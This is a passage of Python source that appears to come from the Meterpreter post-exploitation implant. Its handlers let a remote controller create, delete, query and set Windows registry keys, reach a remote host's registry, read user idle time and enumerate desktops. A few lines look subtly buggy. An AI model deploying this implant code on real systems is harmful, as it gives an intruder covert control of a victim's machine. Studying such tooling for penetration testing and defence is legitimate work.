if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_delete_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
|
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
|
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
|
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
|
|
else:
|
|
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_delete_value(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
|
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
|
return result, response
|
|
|
|
def _wreg_enum_key(request, response, hkey):
|
|
ERROR_MORE_DATA = 0xea
|
|
ERROR_NO_MORE_ITEMS = 0x0103
|
|
name = (ctypes.c_char * 4096)()
|
|
index = 0
|
|
tries = 0
|
|
while True:
|
|
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
|
|
if result == ERROR_MORE_DATA:
|
|
if tries > 3:
|
|
break
|
|
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
|
|
tries += 1
|
|
continue
|
|
elif result == ERROR_NO_MORE_ITEMS:
|
|
result = ERROR_SUCCESS
|
|
break
|
|
elif result != ERROR_SUCCESS:
|
|
break
|
|
tries = 0
|
|
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
|
|
index += 1
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_key(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_enum_key(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_key_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return err, response
|
|
ret = _wreg_enum_key(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
def _wreg_enum_value(request, response, hkey):
|
|
ERROR_MORE_DATA = 0xea
|
|
ERROR_NO_MORE_ITEMS = 0x0103
|
|
name = (ctypes.c_char * 4096)()
|
|
name_sz = ctypes.c_uint32()
|
|
index = 0
|
|
tries = 0
|
|
while True:
|
|
name_sz.value = ctypes.sizeof(name)
|
|
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
|
|
if result == ERROR_MORE_DATA:
|
|
if tries > 3:
|
|
break
|
|
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
|
|
tries += 1
|
|
continue
|
|
elif result == ERROR_NO_MORE_ITEMS:
|
|
result = ERROR_SUCCESS
|
|
break
|
|
elif result != ERROR_SUCCESS:
|
|
break
|
|
tries = 0
|
|
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
|
|
index += 1
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_value(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_enum_value(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_value_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return err, response
|
|
ret = _wreg_enum_value(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_load_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
|
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
|
|
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
|
|
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
|
return result, response
|
|
|
|
def _wreg_close_key(hkey):
|
|
ctypes.windll.advapi32.RegCloseKey(hkey)
|
|
|
|
def _wreg_open_key(request, permission=None):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
root_key_names = {
|
|
winreg.HKEY_CLASSES_ROOT & 0xffffffff: 'HKCR',
|
|
winreg.HKEY_CURRENT_USER & 0xffffffff: 'HKCU',
|
|
winreg.HKEY_LOCAL_MACHINE & 0xffffffff: 'HKLM',
|
|
winreg.HKEY_USERS & 0xffffffff: 'HKU',
|
|
winreg.HKEY_PERFORMANCE_DATA & 0xffffffff: 'HKPD',
|
|
winreg.HKEY_CURRENT_CONFIG & 0xffffffff: 'HKCC'
|
|
}
|
|
root_key_name = root_key_names.get(root_key, 'HK??')
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
debug_print('[*] opening registry key: ' + root_key_name + '\\' + unicode(base_key))
|
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
|
if permission is None:
|
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
|
handle_id = ctypes.c_void_p()
|
|
result = ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id))
|
|
if result != ERROR_SUCCESS:
|
|
return error_result_windows(result), 0
|
|
return ERROR_SUCCESS, handle_id.value
|
|
|
|
def _wreg_query_value(request, response, hkey):
|
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
|
value_type = ctypes.c_uint32()
|
|
value_type.value = 0
|
|
value_data = (ctypes.c_ubyte * 4096)()
|
|
value_data_sz = ctypes.c_uint32()
|
|
value_data_sz.value = ctypes.sizeof(value_data)
|
|
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
|
if result == ERROR_SUCCESS:
|
|
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
|
if value_type.value == winreg.REG_SZ:
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
|
|
elif value_type.value == winreg.REG_DWORD:
|
|
value = value_data[:4]
|
|
value.reverse()
|
|
if sys.version_info[0] < 3:
|
|
value = ''.join(map(chr, value))
|
|
else:
|
|
value = bytes(value)
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
|
else:
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
|
return ERROR_SUCCESS, response
|
|
return error_result_windows(result), response
|
|
|
|
def _wreg_set_value(request, response, hkey):
|
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
|
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
|
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
|
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
|
if result == ERROR_SUCCESS:
|
|
return ERROR_SUCCESS, response
|
|
return error_result_windows(result), response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_check_key_exists(request, response):
|
|
err, hkey = _wreg_open_key(request, permission=winreg.KEY_QUERY_VALUE)
|
|
if err == ERROR_SUCCESS:
|
|
_wreg_close_key(hkey)
|
|
response += tlv_pack(TLV_TYPE_BOOL, True)
|
|
else:
|
|
response += tlv_pack(TLV_TYPE_BOOL, False)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_open_key(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return err, response
|
|
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_open_remote_key(request, response):
|
|
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
result_key = ctypes.c_void_p()
|
|
if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_query_class(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
value_data = (ctypes.c_char * 4096)()
|
|
value_data_sz = ctypes.c_uint32()
|
|
value_data_sz.value = ctypes.sizeof(value_data)
|
|
if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_query_value(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_query_value(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_query_value_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return error_result_windows(err), response
|
|
ret = _wreg_query_value(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_set_value(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_set_value(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_set_value_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return error_result_windows(err), response
|
|
ret = _wreg_set_value(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_unload_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_ui_get_idle_time(request, response):
|
|
GetLastInputInfo = ctypes.windll.user32.GetLastInputInfo
|
|
GetLastInputInfo.argtypes = [ctypes.c_void_p]
|
|
GetLastInputInfo.restype = ctypes.c_int8
|
|
info = LASTINPUTINFO()
|
|
info.cbSize = ctypes.sizeof(LASTINPUTINFO)
|
|
if not GetLastInputInfo(ctypes.byref(info)):
|
|
return error_result_windows(), response
|
|
GetTickCount = ctypes.windll.kernel32.GetTickCount
|
|
GetTickCount.restype = ctypes.c_uint32
|
|
idle_time = (GetTickCount() - info.dwTime) / 1000
|
|
response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_ui_desktop_enum(request, response):
|
|
|
|
response_parts = []
|
|
if ctypes.sizeof(ctypes.c_long) == ctypes.sizeof(ctypes.c_void_p):
|
|
LPARAM = ctypes.c_long
|
|
elif ctypes.sizeof(ctypes.c_longlong) == ctypes.sizeof(ctypes.c_void_p):
|
|
LPARAM = ctypes.c_longlong
|
|
|
|
DESKTOPENUMPROCA = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_char_p, LPARAM)
|
|
EnumDesktopsA = ctypes.windll.user32.EnumDesktopsA
|
|
EnumDesktopsA.argtypes = [ctypes.c_void_p, DESKTOPENUMPROCA, LPARAM]
|
|
EnumDesktopsA.restype = ctypes.c_long
|
|
|
|
WINSTAENUMPROCA = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_char_p, LPARAM)
|
|
EnumWindowStationsA = ctypes.windll.user32.EnumWindowStationsA
|
|
EnumWindowStationsA.argtypes = [WINSTAENUMPROCA, LPARAM]
|
|
EnumWindowStationsA.restype = ctypes.c_long
|
|
|
|
OpenWindowStationA = ctypes.windll.user32.OpenWindowStationA
|
|
OpenWindowStationA.argtypes = [ctypes.c_char_p, ctypes.c_long, ctypes.c_bool]
|
|
OpenWindowStationA.restype = ctypes.c_void_p
|
|
|
|
CloseWindowStation = ctypes.windll.user32.CloseWindowStation
|
|
CloseWindowStation.argtypes = [ctypes.c_void_p]
|
|
CloseWindowStation.restype = ctypes.c_long
|
|
|
|
GetCurrentProcessId = ctypes.windll.kernel32.GetCurrentProcessId
|
|
GetCurrentProcessId.restype = ctypes.c_ulong
|
|
|
|
GetProcAddress = ctypes.windll.kernel32.GetProcAddress
|
|
GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
|
|
GetProcAddress.restype = ctypes.c_void_p
|
|
|
|
def get_session_id(pid):
|
|
dwSessionId = ctypes.c_ulong(0)
|
|
|
|
ProcessIdToSessionId = ctypes.windll.kernel32.ProcessIdToSessionId
|
|
ProcessIdToSessionId.argtypes = [ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong)]
|
|
ProcessIdToSessionId.restype = ctypes.c_bool
|
|
|
|
if not ProcessIdToSessionId(ctypes.c_ulong(pid), ctypes.byref(dwSessionId)):
|
|
dwSessionId = ctypes.c_ulong(-1)
|
|
|
|
return dwSessionId
|
|
|
|
|
|
def desktop_enumdesktops_callback(response_parts, session_id, station_name, lpszDesktop, lParam):
|
|
if not station_name or not lpszDesktop:
|
|
return True
|
|
|
|
entry = bytes()
|
|
entry += tlv_pack(TLV_TYPE_DESKTOP_SESSION, session_id)
|
|
entry += tlv_pack(TLV_TYPE_DESKTOP_STATION, station_name)
|
|
entry += tlv_pack(TLV_TYPE_DESKTOP_NAME, lpszDesktop.decode())
|
|
|
|
response_parts.append(tlv_pack(TLV_TYPE_DESKTOP, entry))
|
|
|
|
return True
|
|
|
|
@WINSTAENUMPROCA
|
|
def desktop_enumstations_callback(lpszWindowStation, lParam):
|
|
hWindowStation = OpenWindowStationA(lpszWindowStation, False, MAXIMUM_ALLOWED)
|
|
if not hWindowStation:
|
|
return True
|
|
|
|
callback = functools.partial(desktop_enumdesktops_callback, response_parts)
|
|
session_id = get_session_id(GetCurrentProcessId()).value
|
|
station_name = lpszWindowStation.decode()
|
|
callback = functools.partial(desktop_enumdesktops_callback, response_parts, session_id, station_name)
|
|
callback = DESKTOPENUMPROCA(callback)
|
|
EnumDesktopsA(hWindowStation, callback, 0)
|
|
|
|
if hWindowStation:
|
|
CloseWindowStation(hWindowStation)
|
|
|
|
return True
|
|
|
|
success = EnumWindowStationsA(desktop_enumstations_callback, 0)
|
|
if not success:
|
|
return error_result_windows(), response
|
|
|
|
response += bytes().join(response_parts)
|
|
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_termios and has_fcntl)
|
|
def stdapi_sys_process_set_term_size(request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
rows = packet_get_tlv(request, TLV_TYPE_TERMINAL_ROWS)['value']
|
|
columns = packet_get_tlv(request, TLV_TYPE_TERMINAL_COLUMNS)['value']
|
|
if channel_id in meterpreter.interact_channels:
|
|
proc_h = meterpreter.channels[channel_id].proc_h
|
|
winsize = struct.pack("HHHH", rows, columns, 0, 0)
|
|
fcntl.ioctl(proc_h.stdin, termios.TIOCSWINSZ, winsize)
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|